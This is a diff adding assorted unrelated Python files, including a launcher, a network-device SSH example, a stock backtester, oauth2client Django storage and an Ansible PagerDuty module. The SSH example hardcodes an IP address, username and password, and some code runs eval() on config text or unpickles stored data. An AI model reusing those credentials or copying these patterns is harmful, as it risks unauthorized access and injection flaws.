six.text_type(data["version"]).split("-", 1)[0] + ".0" * 3 + system_version = tuple(int(x) for x in version.split(".")[:3]) + except ValueError: + return + + return { + "sdk_name": data["name"], + "version_major": system_version[0], + "version_minor": system_version[1], + "version_patchlevel": system_version[2], + "build": data.get("build"), + } + + +def signal_from_data(data): + exceptions = get_path(data, "exception", "values", filter=True) + signal = get_path(exceptions, 0, "mechanism", "meta", "signal", "number") + if signal is not None: + return int(signal) + + return None + + +def get_event_attachment(data, attachment_type): + cache_key = cache_key_for_event(data) + attachments = attachment_cache.get(cache_key) or [] + return next((a for a in attachments if a.type == attachment_type), None) diff --git a/pool/shard000/Python/0007707_xcoco_launcher.py b/pool/shard000/Python/0007707_xcoco_launcher.py new file mode 100644 index 0000000000000000000000000000000000000000..717f9fdc352f684a6ec48b7a8c517c5e9c525adc --- /dev/null +++ b/pool/shard000/Python/0007707_xcoco_launcher.py @@ -0,0 +1,187 @@ +#!/usr/bin/env python +# +# Python CoCo launcher with replacement syntax of ROS Launcher (2017) +# +# Future: support includes +# Future: implement find +import re +import argparse +import xml.etree.ElementTree as ET +import os +import time +import subprocess + +def xenv(a): + q = os.environ.get(a) + if q is None: + raise Exception("missing environment variable"+a) + else: + return q +def xoptenv(a): + a,b = a.split(" ") + return os.environ.get(a,b) +def xarg(a,eargs): + q = eargs.get(a) + if q is None: + if a in eargs: + raise Exception("mandatory argument"+a) + else: + raise Exception("unknown argument"+a) + else: + return q +def xfind(a): + return "" +def xanon(n): + return n+str(time.time()) +def fixme(m,eargs,gg): + what = m.group(1) + rest = m.group(2).strip() + fx = gg.get(what) + if fx is not None: + return fx(rest) + else: + return "" +def evaltrue(s): + if s == "true" or s == "1": + return True + elif s == "false" or s == "0": + return False + return eval(s) + +resub = re.compile(r'\$\(([a-z]+)([^\)]*)\)') +def process(et,eargs,gg): + + changed = False + afx = lambda m: fixme(m,eargs,gg) + # first replace + newvals = [] + for k,v in et.attrib.iteritems(): + if v.startswith("$(eval"): + newvals.append((k,str(eval(v[6:-1],gg)))) + elif v.find("$(") >= 0: + newvals.append((k,resub.sub(afx,v))) + changed = len(newvals) > 0 + for k,v in newvals: + et.attrib[k] = v + + if "if" in et.attrib: + s = evaltrue(et.attrib["if"]) + changed = True + if not s: + # exclude + et.tag = "_" + et.tag + return True + elif "unless" in et.attrib: + s = evaltrue(et.attrib["unless"]) + if s: + et.tag = "_" + et.tag + return True + if et.tag == "arg": + n = et.attrib["name"] + # priority: specified, xml, none + v = eargs.get(n,et.attrib.get("value",None)) + eargs[n] = v + + # for all children + for c in et.iter(): + if c != et: + cc = process(c,eargs,gg) + changed = changed or cc + + # and then for text? + t = et.text + if t is not None: + if t.startswith("$(eval"): + et.text = str(eval(t[6:-1],gg)) + changed = True + elif t.find("$(") >= 0: + et.text = resub.sub(afx,t) + changed = True + + if et.tag == "include": + + print "include not supported in xcoco_launcher, leaved are they are" + return + infile = et.attrib["file"] + print "loading include infile",infile + tree = ET.parse(x) + seargs = {} + for p in et.findall("param"): + seargs[p.attrib["name"]] = p.attrib["value"] + g = g.copy() + # update + g["arg"] = lambda x: xarg(x,seargs) + c = process(tree.getroot(),seargs,g) + + # proceed by replacing the content + + + return True +def main(): + parser = argparse.ArgumentParser(description='CoCo Launcher X') + parser.add_argument('-x','--config-file',action="append",help="Xml file with the configurations of the application") + parser.add_argument('-d','--disabled',action="append",help="List of components disabled in the execution") + parser.add_argument('-p','--profiling',type=int,help="Enable the collection of statistics of the executions. Use only during debug as it slow down the performances.") + parser.add_argument('-g','--graph',help="Create the graph of the various components and of their connections.") + parser.add_argument('-t','--xml_template',help="Print the xml template for all the components contained in the library") + parser.add_argument('-w','--web_server', help="Instantiate a web server that allows to view statics about the executions.",type=int,default=0) + parser.add_argument('-r','--web_root',help="set document root for web server") + parser.add_argument('-l','--latency',help="Set the two task between which calculate the latency. Peer are not valid.") + parser.add_argument('--ros',action="store_true",help="invokes ros_coco_launcher") + parser.add_argument('--none',action="store_true",help="just prints arguments") + parser.add_argument('arg',help="Arguments as x:=y",nargs="*") + args = parser.parse_args() + + eargs = {} + for aa in args.arg: + a,b = aa.split(":=") + eargs[a] = b + + g = dict(arg=lambda x: xarg(x,eargs),env=xenv,optenv=xoptenv,find=xfind,anon=xanon) + + + oa = [] + for x in args.config_file: + tree = ET.parse(x) + # attribute replace + c = process(tree.getroot(),eargs,g) + if c: + # if/unless + xx = x + ".gen" + open(xx,"wb").write(ET.tostring(tree.getroot())) + else: + xx = x + oa.append(xx) + + args.config_file = oa + if args.ros: + goodargs = ["rosrun","coco_ros_launcher","coco_ros_launcher_node"] + else: + goodargs = ["coco_launcher"] + # THIS IS MANUAL sorry + for l in args.config_file: + goodargs.append("-x") + goodargs.append(l) + if args.disabled != None: + for l in args.disabled: + goodargs.append("-d") + goodargs.append(l) + aa = ["profiling","graph","web_root","web_server","latency","xml_template"] + for a in aa: + w = getattr(args,a) + if w is not None: + goodargs.append("--" + a +"=" + str(w)) + if args.profiling: + pass + + + # Build Arguments: ignore free standing args, keep the rest + #goodargs = [getattr(x)] + if not args.none: + subprocess.call(goodargs) + else: + print goodargs + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/pool/shard000/Python/0007709_paramiko_example.py b/pool/shard000/Python/0007709_paramiko_example.py new file mode 100644 index 0000000000000000000000000000000000000000..26b6b212c3175034dc147e849a6d4f3160b60aea --- /dev/null +++ b/pool/shard000/Python/0007709_paramiko_example.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +""" +""" + +import paramiko +import time +from getpass import getpass + +ip_addr = '184.105.247.70' +username = 'pyclass' +password = '88newclass' +port = 22 + +remote_conn_pre=paramiko.SSHClient() +remote_conn_pre.set_missing_host_key_policy(paramiko.AutoAddPolicy()) +remote_conn_pre.connect(ip_addr, username=username, password=password, look_for_keys=False, allow_agent=False, port=port) + +remote_conn = remote_conn_pre.invoke_shell() + +remote_conn.settimeout(6.0) + +outp = remote_conn.recv(5000) +print outp + +remote_conn.send("show ip int brief\n") + +time.sleep(2) + +outp = remote_conn.recv(5000) +print outp diff --git a/pool/shard000/Python/0007710_test_logo.py b/pool/shard000/Python/0007710_test_logo.py new file mode 100644 index 0000000000000000000000000000000000000000..f07231091e994bfe4f458c9ff922798c5c635f49 --- /dev/null +++ b/pool/shard000/Python/0007710_test_logo.py @@ -0,0 +1,38 @@ +import os +import sys + +from unittest.mock import patch + +import pytest + +from sanic.application.logo import ( + BASE_LOGO, + COLOR_LOGO, + FULL_COLOR_LOGO, + get_logo, +) + + +@pytest.mark.parametrize( + "tty,full,expected", + ( + (True, False, COLOR_LOGO), + (True, True, FULL_COLOR_LOGO), + (False, False, BASE_LOGO), + (False, True, BASE_LOGO), + ), +) +def test_get_logo_returns_expected_logo(tty, full, expected): + with patch("sys.stdout.isatty") as isatty: + isatty.return_value = tty + logo = get_logo(full=full) + assert logo is expected + + +def test_get_logo_returns_no_colors_on_apple_terminal(): + with patch("sys.stdout.isatty") as isatty: + isatty.return_value = False + sys.platform = "darwin" + os.environ["TERM_PROGRAM"] = "Apple_Terminal" + logo = get_logo() + assert "\033" not in logo diff --git a/pool/shard000/Python/0007712_buyandsale.py b/pool/shard000/Python/0007712_buyandsale.py new file mode 100644 index 0000000000000000000000000000000000000000..584f02534eb3f9a1012a869583de7272dc789d19 --- /dev/null +++ b/pool/shard000/Python/0007712_buyandsale.py @@ -0,0 +1,203 @@ +import sys +import glob +import util + + +action_sum = { +"correct" : 0, +"error" : 0, +"even" : 0 +} + + +today_buy = {} +buy_action_everday = {} +sale_action_everyday = {} + +class BuySaleAction(object): + """docstring for BuySaleAction""" + def __init__(self, buy_price,buy_day,sale_price,sale_day,stockid): + super(BuySaleAction, self).__init__() + self.buy_price = float(buy_price) + self.buy_day = buy_day + self.sale_price = float(sale_price) + self.sale_day = sale_day + self.stockid = stockid + self.profit = self.get_profit() + + def get_profit(self): + return float(self.sale_price / self.buy_price) - 1 + +class BackProbe(object): + """docstring for BackProbe""" + def __init__(self): + super(BackProbe, self).__init__() + self.stockid = "" + self.start_day = "2015-01-01" + self.end_day = "2015-12-01" + self.action_info = [] + self.start_money = float(10000) + + self.buy_already = 0 + self.buy_method = "Today_Close" + self.sale_method = "Today_Close" + + self.buy_price = 0 + self.sale_price = 0 + + + def buy(self,i, stock_info): + + ma5 = float(stock_info[i][1]["ma5"]) + ma10 = float(stock_info[i][1]["ma10"]) + ma5_yes = float(stock_info[i-1][1]["ma5"]) + ma10_yes = float(stock_info[i-1][1]["ma10"]) + + if ma5 > ma10 and ma5_yes < ma10_yes: + self.buy_day = stock_info[i][0] + self.buy_price = float(stock_info[i][1]["close"]) + return True + else: + return False + + + def sale(self,i,stock_info): + + ma5 = float(stock_info[i][1]["ma5"]) + ma10 = float(stock_info[i][1]["ma10"]) + ma5_yes = float(stock_info[i-1][1]["ma5"]) + ma10_yes = float(stock_info[i-1][1]["ma10"]) + + if ma5 < ma10 and ma5_yes > ma10_yes: + self.sale_day = stock_info[i][0] + self.sale_price = float(stock_info[i][1]["close"]) + return True + else: + return False + + + def get_stock_id(self): + return glob.glob("./data/calculate/*") + + def print_buy_sale_trail(self): + + end_money = self.start_money + print self.stockid + for action in self.action_info: + print "buy at %s with price %s, sale at %s with price %s, profit: %s%%" % \ + (action.buy_day,action.buy_price, \ + action.sale_day,action.sale_price, \ + 100*action.get_profit()) + + if action.get_profit()>0: + action_sum["correct"] += 1 + elif action.get_profit()<0: + action_sum["error"] += 1 + else: + action_sum["even"] += 1 + + end_money *= (action.get_profit()+1) + + + print self.stockid,"end_money",end_money + print + print + self.action_info = [] + self.buy_already = 0 + + return end_money + + def calculate_advance_info(self, i, stock_info): + pass + + def parser_every_day(self, buy_action_everday): + day_action = {} + for action_info in buy_action_everday.values(): + for action in action_info: + day_action.setdefault(action.buy_day,[]) + day_action[action.buy_day].append(action) + #print action.stockid,action.buy_day,action.sale_day,action.profit + + for k in sorted(day_action.keys()): + for action in day_action[k]: + print k, action.stockid,action.buy_day,action.sale_day,action.profit + print + print + + def run(self): + stock_list = self.get_stock_id() + #print stock_list + begin_money_list = [] + end_money_list = [] + base_money_list = [] + + + for filepath in stock_list: + base_buy = -1 + base_sale = -1 + stockid = filepath.split("/")[-1][:-4] + self.stockid = stockid + + """ + if not self.stockid.startswith("300"): + continue + """ + """ + if not self.stockid.startswith("600315"): + continue + """ + + stock_info = util.read_basic_info(filepath)[::-1] + buy_flag = False + for i, info in enumerate(stock_info): + self.calculate_advance_info(i, stock_info) + if stock_info[i][0] < self.start_day: + continue + if stock_info[i][0] > self.end_day: + continue + + if base_buy == -1: + base_buy = float(stock_info[i][1]["close"]) + + base_sale = float(stock_info[i][1]["close"]) + + if self.buy_already == 0 and stock_info[i][1]["can_buy"] == "1": + buy_res = self.buy(i, stock_info) + if buy_res == True: + self.buy_poi = i + self.buy_already = 1 + if i == (len(stock_info) -1): + print "buy_today:", stock_info[i][0],self.stockid + continue + + if self.buy_already == 1: + sale_res = self.sale(i,stock_info) + if sale_res == True and stock_info[i][1]["can_sale"] == "1": + self.buy_already = 0 + action = BuySaleAction(self.buy_price,self.buy_day,self.sale_price,self.sale_day,self.stockid) + self.action_info.append(action) + buy_flag = True + + + self.buy_already = 0 + if buy_flag: + begin_money_list.append(self.start_money) + end_money = self.print_buy_sale_trail() + end_money_list.append(end_money) + + buy_action_everday[self.stockid] = self.action_info + + base_money_list.append(10000*base_sale/base_buy) + #break + + begin = sum(begin_money_list) + end = sum(end_money_list) + print "%s\t%s\t%6.2f%%" % (begin,end, (float(end)/float(begin) - 1) * 100) + print action_sum, float(action_sum['correct']) / sum(action_sum.values()) + + print "base: %6.2f%%" % (((sum(base_money_list) / (len(base_money_list) * 10000)) -1 ) * 100) + #self.parser_every_day(buy_action_everday) + +if __name__ == '__main__': + bp = BackProbe() + bp.run() diff --git a/pool/shard000/Python/0007713_django_orm.py b/pool/shard000/Python/0007713_django_orm.py new file mode 100644 index 0000000000000000000000000000000000000000..64e69108df5bfd2c65c32865f04e4779b9d9ae1e --- /dev/null +++ b/pool/shard000/Python/0007713_django_orm.py @@ -0,0 +1,173 @@ +# Copyright 2014 Google Inc. All rights reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +"""OAuth 2.0 utilities for Django. + +Utilities for using OAuth 2.0 in conjunction with +the Django datastore. +""" + +import oauth2client +import base64 +import pickle +import six + +from django.db import models +from django.utils.encoding import smart_bytes, smart_text +from oauth2client.client import Storage as BaseStorage + + +__author__ = 'jcgregorio@google.com (Joe Gregorio)' + + +class CredentialsField(six.with_metaclass(models.SubfieldBase, models.Field)): + + def __init__(self, *args, **kwargs): + if 'null' not in kwargs: + kwargs['null'] = True + super(CredentialsField, self).__init__(*args, **kwargs) + + def get_internal_type(self): + return 'TextField' + + def to_python(self, value): + if value is None: + return None + if isinstance(value, oauth2client.client.Credentials): + return value + return pickle.loads(base64.b64decode(smart_bytes(value))) + + def get_prep_value(self, value): + if value is None: + return None + return smart_text(base64.b64encode(pickle.dumps(value))) + + def value_to_string(self, obj): + """Convert the field value from the provided model to a string. + + Used during model serialization. + + Args: + obj: db.Model, model object + + Returns: + string, the serialized field value + """ + value = self._get_val_from_obj(obj) + return self.get_prep_value(value) + + +class FlowField(six.with_metaclass(models.SubfieldBase, models.Field)): + + def __init__(self, *args, **kwargs): + if 'null' not in kwargs: + kwargs['null'] = True + super(FlowField, self).__init__(*args, **kwargs) + + def get_internal_type(self): + return 'TextField' + + def to_python(self, value): + if value is None: + return None + if isinstance(value, oauth2client.client.Flow): + return value + return pickle.loads(base64.b64decode(value)) + + def get_prep_value(self, value): + if value is None: + return None + return smart_text(base64.b64encode(pickle.dumps(value))) + + def value_to_string(self, obj): + """Convert the field value from the provided model to a string. + + Used during model serialization. + + Args: + obj: db.Model, model object + + Returns: + string, the serialized field value + """ + value = self._get_val_from_obj(obj) + return self.get_prep_value(value) + + +class Storage(BaseStorage): + """Store and retrieve a single credential to and from the Django datastore. + + This Storage helper presumes the Credentials + have been stored as a CredentialsField + on a db model class. + """ + + def __init__(self, model_class, key_name, key_value, property_name): + """Constructor for Storage. + + Args: + model: db.Model, model class + key_name: string, key name for the entity that has the credentials + key_value: string, key value for the entity that has the + credentials + property_name: string, name of the property that is an + CredentialsProperty + """ + super(Storage, self).__init__() + self.model_class = model_class + self.key_name = key_name + self.key_value = key_value + self.property_name = property_name + + def locked_get(self): + """Retrieve stored credential. + + Returns: + oauth2client.Credentials + """ + credential = None + + query = {self.key_name: self.key_value} + entities = self.model_class.objects.filter(**query) + if len(entities) > 0: + credential = getattr(entities[0], self.property_name) + if credential and hasattr(credential, 'set_store'): + credential.set_store(self) + return credential + + def locked_put(self, credentials, overwrite=False): + """Write a Credentials to the Django datastore. + + Args: + credentials: Credentials, the credentials to store. + overwrite: Boolean, indicates whether you would like these + credentials to overwrite any existing stored + credentials. + """ + args = {self.key_name: self.key_value} + + if overwrite: + (entity, + unused_is_new) = self.model_class.objects.get_or_create(**args) + else: + entity = self.model_class(**args) + + setattr(entity, self.property_name, credentials) + entity.save() + + def locked_delete(self): + """Delete Credentials from the datastore.""" + + query = {self.key_name: self.key_value} + entities = self.model_class.objects.filter(**query).delete() diff --git a/pool/shard000/Python/0007728_speechhub.py b/pool/shard000/Python/0007728_speechhub.py new file mode 100644 index 0000000000000000000000000000000000000000..bb2de2ea31d9a61834eb8e0188165cecdbf095a3 --- /dev/null +++ b/pool/shard000/Python/0007728_speechhub.py @@ -0,0 +1,153 @@ +# -*- coding: utf-8 -*- +""" + Speechhub - A static blog engine + Copyright (C) 2012 Antonio Ribeiro + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +""" + +import os +import sys +import argparse + +from functions import create_blog, new_post, manage, admin, rebuild_blog + +USAGE = """Usage: +speechhub [arg,[...]] +commands: +\tcreate-blog +\tadmin +\tmanage +\tnew-post +\trebuild + """ + + +def admin_blog(args): + parser = argparse.ArgumentParser(description='Speechhub is a simple command line static blog engine.') + parser.add_argument('--username', metavar='username', + type=str, + nargs='?', + help='User name.',) + parser.add_argument('--email', metavar='E-mail', + type=str, + nargs='?', + help='User E-mail') + parser.add_argument('--posts-per-page', metavar='posts-per-page.', + type=int, + nargs=1, + default=5, + help='How many posts by page you want to see.') + parser.add_argument('--datetime-format', metavar='posts-per-page.', + type=int, + nargs=1, + # default='%D/%M/%A - %h%m%s', + help='Date and time format. Use capitalized for date and not capitalized for time.') + parser.add_argument('--path', metavar='Speechhub project path.', + type=str, + nargs=1, + help='update the project path.') + parser.add_argument('--url', metavar='Your blog URL.', + type=str, + nargs=1, + help='update the blog URL.') + + parsed_args = parser.parse_args(args) + admin(vars(parsed_args)) + + +def create_new_blog(args): + parser = argparse.ArgumentParser(description='Speechhub is a simple command line static blog engine.') + parser.add_argument('--blog-name', metavar='blog-name', + type=str, + nargs=1, + required=True, + help='Blog name.') + parser.add_argument('--path', metavar='path', + type=str, + nargs='?', + help='Location where the blog will be created.',) + parser.add_argument('--url', metavar='blog-url', + type=str, + nargs='?', + help='The URL of your blog.',) + parser.add_argument('--username', metavar='username', + type=str, + nargs='?', + help='User name.',) + parser.add_argument('--email', metavar='E-mail', + type=str, + nargs='?', + help='User E-mail') + + parsed_args = parser.parse_args(args) + create_blog(vars(parsed_args)) + + +def create_new_post(args): + parser = argparse.ArgumentParser(description='Speechhub is a simple command line static blog engine.') + parser.add_argument('--title', metavar='title', + type=str, + required=True, + nargs=1, + help='The title of your post.',) + parsed_args = parser.parse_args(args) + new_post(vars(parsed_args)) + + +def manage_blog(args): + parser = argparse.ArgumentParser(description='Manage your posts.') + parser.add_argument('--publish-post', metavar='path', + type=str, + nargs=1, + help='Publish the related post.',) + parser.add_argument('--unpublish-post', metavar='path', + type=str, + nargs=1, + help='Unblish the related post.',) + parser.add_argument('--delete-post', metavar='path', + type=str, + nargs=1, + help='Delete the related post.',) + parsed_args = parser.parse_args(args) + + manage(vars(parsed_args)) + + +def main(): + + if len(sys.argv) < 2: + print USAGE + return + + command = sys.argv[1] + args = sys.argv[2:] + + if command == 'create-blog': + create_new_blog(args) + elif command == 'admin': + admin_blog(args) + elif command == 'new-post': + create_new_post(args) + elif command == 'manage': + manage_blog(args) + elif command == 'rebuild': + rebuild_blog(args) + else: + print USAGE + return + + +if __name__=='__main__': + main() diff --git a/pool/shard000/Python/0007731_requesthandler.py b/pool/shard000/Python/0007731_requesthandler.py new file mode 100644 index 0000000000000000000000000000000000000000..a75d4ffbbf589deda8c8c561966916049a1f0db1 --- /dev/null +++ b/pool/shard000/Python/0007731_requesthandler.py @@ -0,0 +1,52 @@ +import requests + + +class RequestHandler(object): + def get(self, url, params, headers, cookies): + pass + + def post(self, url, params, headers, cookies): + pass + + +class HttpRequestHandler(RequestHandler): + TIMEOUT_SECONDS = 5 + + def get(self, url, params, headers, cookies): + return self._do_request(requests.get, url, params=params, headers=headers, cookies=cookies) + + def post(self, url, params, headers, cookies): + return self._do_request(requests.post, url, params=params, headers=headers, cookies=cookies) + + def _do_request(self, method, url, params, headers, cookies): + try: + req = method(url, params=params, headers=headers, cookies=cookies, timeout=self.TIMEOUT_SECONDS) + except Exception: + raise RequestException("Error when fetching from url: %s" % url) + if req.status_code != 200: + raise RequestException("Status code: %d for %s" % (req.status_code, url)) + try: + return req.text + except AttributeError: # Older version of requests library use content instead of text + return req.content + + +class TestRequestHandler(RequestHandler): + def __init__(self, return_data): + self.requests_sent = [] + self.return_data = return_data + + def get(self, url, params, headers, cookies): + self.requests_sent.append({"url":url, "params":params, + "headers":headers, "cookies":cookies, "method":"get"}) + return self.return_data + + def post(self, url, params, headers, cookies): + self.requests_sent.append({"url":url, "params":params, + "headers":headers, "cookies":cookies, "method":"post"}) + return self.return_data + + +class RequestException(Exception): + def __init__(self, msg): + self.msg = msg \ No newline at end of file diff --git a/pool/shard000/Python/0007732_6f9d8b836c0_.py b/pool/shard000/Python/0007732_6f9d8b836c0_.py new file mode 100644 index 0000000000000000000000000000000000000000..948817c81988493df81f50f85e832baefa9cbefc --- /dev/null +++ b/pool/shard000/Python/0007732_6f9d8b836c0_.py @@ -0,0 +1,47 @@ +"""empty message + +Revision ID: 6f9d8b836c0 +Revises: None +Create Date: 2014-08-08 02:10:33.301000 + +""" + +# revision identifiers, used by Alembic. +revision = '6f9d8b836c0' +down_revision = None + +from alembic import op +import sqlalchemy as sa + + +def upgrade(): + ### commands auto generated by Alembic - please adjust! ### + op.create_table('article', + sa.Column('id', sa.Integer(), nullable=False), + sa.Column('title', sa.String(length=255), nullable=True), + sa.Column('content', sa.Text(), nullable=True), + sa.Column('author', sa.String(length=255), nullable=True), + sa.Column('category', sa.String(length=255), nullable=True), + sa.Column('date_created', sa.DateTime(), nullable=True), + sa.Column('like_count', sa.Integer(), nullable=True), + sa.PrimaryKeyConstraint('id') + ) + op.create_table('comment', + sa.Column('id', sa.Integer(), nullable=False), + sa.Column('article_id', sa.Integer(), nullable=True), + sa.Column('author', sa.String(length=255), nullable=True), + sa.Column('email', sa.String(length=255), nullable=True), + sa.Column('password', sa.String(length=255), nullable=True), + sa.Column('content', sa.Text(), nullable=True), + sa.Column('date_created', sa.DateTime(), nullable=True), + sa.ForeignKeyConstraint(['article_id'], ['article.id'], ), + sa.PrimaryKeyConstraint('id') + ) + ### end Alembic commands ### + + +def downgrade(): + ### commands auto generated by Alembic - please adjust! ### + op.drop_table('comment') + op.drop_table('article') + ### end Alembic commands ### diff --git a/pool/shard000/Python/0007736_oms_client_factory.py b/pool/shard000/Python/0007736_oms_client_factory.py new file mode 100644 index 0000000000000000000000000000000000000000..811ea3bf63e99d7874377f937e1834acd24693e0 --- /dev/null +++ b/pool/shard000/Python/0007736_oms_client_factory.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python + +""" +@package ion.agents.platform.rsn.oms_client_factory +@file ion/agents/platform/rsn/oms_client_factory.py +@author Carlos Rueda +@brief CIOMS Client factory. +""" + +__author__ = 'Carlos Rueda' +__license__ = 'Apache 2.0' + + +from pyon.public import log + +from ion.agents.platform.rsn.simulator.oms_simulator import CIOMSSimulator +import xmlrpclib +import os +from gevent import Greenlet, sleep + + +class CIOMSClientFactory(object): + """ + Provides a CIOMSClient implementation. + """ + + # counter of created, not-yet-destroyed instances, for debugging purposes + _inst_count = 0 + + # _sim_process, _rsn_oms: see launch_simulator and related methods + _sim_process = None + _rsn_oms = None + + @classmethod + def create_instance(cls, uri=None): + """ + Creates an CIOMSClient instance. + Do not forget to call destroy_instance with the returned object when + you are done with the instance. + + @param uri URI to connect to the RSN OMS server or simulator. + If None (the default) the value of the OMS environment variable is used + as argument. If not defined or if the resulting argument is "embsimulator" + then an CIOMSSimulator instance is directly created and returned. + Otherwise, the given argument (or value of the OMS environment variable) + is used as given to try the connection with the corresponding XML/RPC + server resolvable by that URI. + """ + + if uri is None: + uri = os.getenv('OMS', 'embsimulator') + + if "embsimulator" == uri: + # "embedded" simulator, so instantiate CIOMSSimulator here: + log.debug("Using embedded CIOMSSimulator instance") + instance = CIOMSSimulator() + else: + log.debug("Creating xmlrpclib.ServerProxy: uri=%s", uri) + instance = xmlrpclib.ServerProxy(uri, allow_none=True) + log.debug("Created xmlrpclib.ServerProxy: uri=%s", uri) + + cls._inst_count += 1 + log.debug("create_instance: _inst_count = %d", cls._inst_count) + return instance + + @classmethod + def destroy_instance(cls, instance): + """ + Destroys an instance created with create_instance. + This is mainly a convenience method to deactivate the simulator when + run in embedded form. + """ + cls._inst_count -= 1 + if isinstance(instance, CIOMSSimulator): + instance._deactivate_simulator() + log.debug("Embedded CIOMSSimulator instance destroyed") + + # else: nothing needed to do. + + log.debug("destroy_instance: _inst_count = %d", cls._inst_count) + + @classmethod + def launch_simulator(cls, inactivity_period): + """ + Utility to launch the simulator as a separate process. + + @return the new URI for a regular call to create_instance(uri). + """ + + # in case there's any ongoing simulator process: + ex = cls.stop_launched_simulator() + if ex: + log.warn("[OMSim] previous process could not be stopped properly. " + "The next launch may fail because of potential conflict.") + + from ion.agents.platform.rsn.simulator.process_util import ProcessUtil + cls._sim_process = ProcessUtil() + cls._rsn_oms, uri = cls._sim_process.launch() + + log.debug("launch_simulator: launched. uri=%s", uri) + + if inactivity_period: + cls._rsn_oms.x_exit_inactivity(inactivity_period) + + def hearbeat(): + n = 0 + while cls._sim_process: + sleep(1) + n += 1 + if cls._sim_process and n % 20 == 0: + log.debug("[OMSim] heartbeat sent") + try: + cls._rsn_oms.ping() + except Exception: + pass + log.debug("[OMSim] heartbeat ended") + + Greenlet(hearbeat).start() + log.debug("[OMSim] called x_exit_inactivity with %s and started heartbeat", + inactivity_period) + + return uri + + @classmethod + def get_rsn_oms_for_launched_simulator(cls): + """ + Returns the CIOMSClient instance created in the last call to + launch_simulator and that has not been stopped yet, if any. + """ + return cls._rsn_oms + + @classmethod + def stop_launched_simulator(cls): + """ + Utility to stop the process launched with launch_simulator. + The stop is attempted a couple of times in case of errors (with a few + seconds of sleep in between). + + @return None if process seems to have been stopped properly. + Otherwise the exception of the last attempt to stop it. + """ + if cls._sim_process: + sim_proc, cls._sim_process = cls._sim_process, None + attempts = 3 + attempt = 0 + while attempt <= attempts: + attempt += 1 + log.debug("[OMSim] stopping launched simulator (attempt=%d) ...", attempt) + try: + sim_proc.stop() + log.debug("[OMSim] simulator process seems to have stopped properly") + return None + + except Exception as ex: + if attempt < attempts: + sleep(10) + else: + log.warn("[OMSim] error while stopping simulator process: %s", ex) + return ex diff --git a/pool/shard000/Python/0007739_pagerduty_alert.py b/pool/shard000/Python/0007739_pagerduty_alert.py new file mode 100644 index 0000000000000000000000000000000000000000..f9ea471dc3f2864624d8ce280357e10fe41f209e --- /dev/null +++ b/pool/shard000/Python/0007739_pagerduty_alert.py @@ -0,0 +1,248 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +# Copyright: Ansible Project +# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) + +from __future__ import absolute_import, division, print_function +__metaclass__ = type + + +ANSIBLE_METADATA = {'metadata_version': '1.1', + 'status': ['preview'], + 'supported_by': 'community'} + + +DOCUMENTATION = ''' + +module: pagerduty_alert +short_description: Trigger, acknowledge or resolve PagerDuty incidents +description: + - This module will let you trigger, acknowledge or resolve a PagerDuty incident by sending events +version_added: "1.9" +author: + - "Amanpreet Singh (@ApsOps)" +requirements: + - PagerDuty API access +options: + name: + description: + - PagerDuty unique subdomain. Obsolete. It is not used with PagerDuty REST v2 API. + service_id: + description: + - ID of PagerDuty service when incidents will be triggered, acknowledged or resolved. + required: true + version_added: "2.7" + service_key: + description: + - The GUID of one of your "Generic API" services. Obsolete. Please use I(integration_key). + integration_key: + description: + - The GUID of one of your "Generic API" services. + - This is the "integration key" listed on a "Integrations" tab of PagerDuty service. + required: true + version_added: "2.7" + state: + description: + - Type of event to be sent. + required: true + choices: + - 'triggered' + - 'acknowledged' + - 'resolved' + api_key: + description: + - The pagerduty API key (readonly access), generated on the pagerduty site. + required: true + desc: + description: + - For C(triggered) I(state) - Required. Short description of the problem that led to this trigger. This field (or a truncated version) + will be used when generating phone calls, SMS messages and alert emails. It will also appear on the incidents tables in the PagerDuty UI. + The maximum length is 1024 characters. + - For C(acknowledged) or C(resolved) I(state) - Text that will appear in the incident's log associated with this event. + required: false + default: Created via Ansible + incident_key: + description: + - Identifies the incident to which this I(state) should be applied. + - For C(triggered) I(state) - If there's no open (i.e. unresolved) incident with this key, a new one will be created. If there's already an + open incident with a matching key, this event will be appended to that incident's log. The event key provides an easy way to "de-dup" + problem reports. + - For C(acknowledged) or C(resolved) I(state) - This should be the incident_key you received back when the incident was first opened by a + trigger event. Acknowledge events referencing resolved or nonexistent incidents will be discarded. + required: false + version_added: "2.7" + client: + description: + - The name of the monitoring client that is triggering this event. + required: false + client_url: + description: + - The URL of the monitoring client that is triggering this event. + required: false +''' + +EXAMPLES = ''' +# Trigger an incident with just the basic options +- pagerduty_alert: + name: companyabc + integration_key: xxx + api_key: yourapikey + service_id: PDservice + state: triggered + desc: problem that led to this trigger + +# Trigger an incident with more options +- pagerduty_alert: + integration_key: xxx + api_key: yourapikey + service_id: PDservice + state: triggered + desc: problem that led to this trigger + incident_key: somekey + client: Sample Monitoring Service + client_url: http://service.example.com + +# Acknowledge an incident based on incident_key +- pagerduty_alert: + integration_key: xxx + api_key: yourapikey + service_id: PDservice + state: acknowledged + incident_key: somekey + desc: "some text for incident's log" + +# Resolve an incident based on incident_key +- pagerduty_alert: + integration_key: xxx + api_key: yourapikey + service_id: PDservice + state: resolved + incident_key: somekey + desc: "some text for incident's log" +''' +import json + +from ansible.module_utils.basic import AnsibleModule +from ansible.module_utils.urls import fetch_url +from ansible.module_utils.six.moves.urllib.parse import urlparse, urlencode, urlunparse + + +def check(module, name, state, service_id, integration_key, api_key, incident_key=None, http_call=fetch_url): + url = 'https://api.pagerduty.com/incidents' + headers = { + "Content-type": "application/json", + "Authorization": "Token token=%s" % api_key, + 'Accept': 'application/vnd.pagerduty+json;version=2' 